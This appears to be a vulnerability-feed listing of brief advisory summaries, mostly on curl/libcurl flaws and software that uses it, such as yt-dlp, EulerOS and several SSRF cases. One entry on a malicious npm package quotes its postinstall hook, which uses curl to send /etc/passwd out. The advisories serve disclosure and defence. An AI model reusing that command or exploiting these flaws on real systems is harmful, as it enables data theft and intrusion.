PT-2026-48378

Name of the Vulnerable Software and Affected Versions yt-dlp versions 2023.09.24 through 2026.06.08 Description When curl is used as an external downloader, cookies may be leaked to an unintended host during an HTTP redirect or when the host for download fragments differs from the parent manifest...

PT-2026-48380

Name of the Vulnerable Software and Affected Versions yt-dlp versions prior to 2026.06.09 Description When using aria2c as an external downloader for fragmented manifest formats like HLS or DASH streams, insufficiently sanitized input allows an attacker to perform arbitrary file writes. This occu...

EulerOS 2.0 SP13 : curl (EulerOS-SA-2026-2283)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl can in some circumstances reuse the wrong connection when asked to dox000D an Negotiate-authenticated HTTP or HTTPS request.x000D x000D...

EulerOS 2.0 SP13 : curl (EulerOS-SA-2026-2326)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl can in some circumstances reuse the wrong connection when asked to dox000D an Negotiate-authenticated HTTP or HTTPS request.x000D x000D...

Malicious code in @shell-landing/routes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577 On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd'...

curl: Trailing-Dot Hostname in Redirect Silently Strips Client Certificate and Auth Credentials

Summary When curl follows a redirect where the Location header contains a hostname with a trailing dot e.g., https://example.com./path, Curlpeerequal in peer.c:321-330 compares the original hostname example.com against the redirect target example.com. using curlstrequal, which does not normalize...

curl: curl-ipv4-percent-normalization-SSRF

Summary: six or fewer sentences describing the issue in your own human voice and optionally a short proof-of-concept script Affected version Which curl/libcurl version are you using to reproduce? On which platform? curl -V typically generates good output to include Steps To Reproduce: add details...

EulerOS 2.0 SP11 : curl (EulerOS-SA-2026-2200)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When an OAuth2 bearer token is used for an HTTPS transfer, and that transfer performs a redirect to a second URL, curl could leak that token to the...

EulerOS 2.0 SP11 : curl (EulerOS-SA-2026-2238)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When an OAuth2 bearer token is used for an HTTPS transfer, and that transfer performs a redirect to a second URL, curl could leak that token to the...

nebula-mesh: GET /api/v1/audit-log discloses all entries to any operator

internal/api/audit.go:12 — handleGetAuditLog does no admin check. The route is bearer-auth gated only; any operator API key returns the full audit log via store.ListAuditEntries up to limit=1000. This includes cross-tenant actor names, host/CA/operator IDs, action timestamps, and masked-IP entrie...

curl: CVE-2026-11564: Native CA trust persist

A vulnerability was discovered in the libcurl library where a native CA trust could persist after an easy handle switches to custom CA material. The vulnerability was found to affect builds of libcurl that enable the native CA trust feature. The issue stemmed from the fact that the library did no...

curl: CVE-2026-11586: WS Auto-PONG memory exhaustion

Summary: TL;DR: a remote WebSocket peer can make default curl/libcurl grow memory until timeout or OOM by sending legal PING frames while refusing to read the client's automatic PONGs. curl automatically replies to each received WebSocket PING with a PONG unless CURLWSNOAUTOPONG is set. In...

PT-2026-51742

Name of the Vulnerable Software and Affected Versions libcurl affected versions not specified Description The WebSocket component of the libcurl library contains a resource allocation issue. By default, curl automatically responds to WebSocket PING frames. Because the software lacks an upper boun...

curl: SOCKS5 no-auth accepted despite username/password-only authentication

Summary: curl/libcurl appears to allow unauthenticated SOCKS5 negotiation even when the caller explicitly configures username/password-only SOCKS5 authentication. With --socks5-basic and SOCKS5 credentials set, curl still advertises both SOCKS5 method 0x00 no authentication and 0x02...

curl: libcurl: HTTP/1.x bare LF byte in response header value enables cookie jar pollution and POST body/credential exfiltration via redirect — RC=0, curl 8

Summary curl's HTTP/1.x response header parser splits header lines using a single memchrbuf, '\n', blen call lib/http.c:4457, with no awareness of whether the current position is inside a quoted-string value. A server response containing any header field whose value embeds a raw LF byte \x0a caus...

EulerOS Virtualization 2.12.1 : curl (EulerOS-SA-2026-2072)

According to the versions of the curl packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : libcurl can in some circumstances reuse the wrong connection when asked to do an Negotiate-authenticated HTTP or HTTPS request.libcur...

CVE-2026-7009

A flaw was found in curl. When curl is configured to use the Certificate Status Request TLS Transport Layer Security extension, also known as OCSP Online Certificate Status Protocol stapling, it fails to properly detect issues with the OCSP response. This can lead curl to incorrectly validate a...

CVE-2026-42194

Admidio is an open-source user management solution. Prior to version 5.0.9, the incomplete SSRF fix in Admidio's fetchmetadata.php validates the resolved IP address but passes the original hostname-based URL to curlinit, leaving a DNS rebinding TOCTOU window that allows redirecting requests to...

CVE-2026-41688

Wallos is an open-source, self-hostable personal subscription tracker. In versions 4.8.4 and prior, the incomplete SSRF fix in Wallos validates webhook URLs via gethostbyname but passes the original hostname to cURL without CURLOPTRESOLVE pinning on 10 of 11 outbound HTTP endpoints, leaving a DNS...

CVE-2026-41064

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the filegetcontents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com. Commit...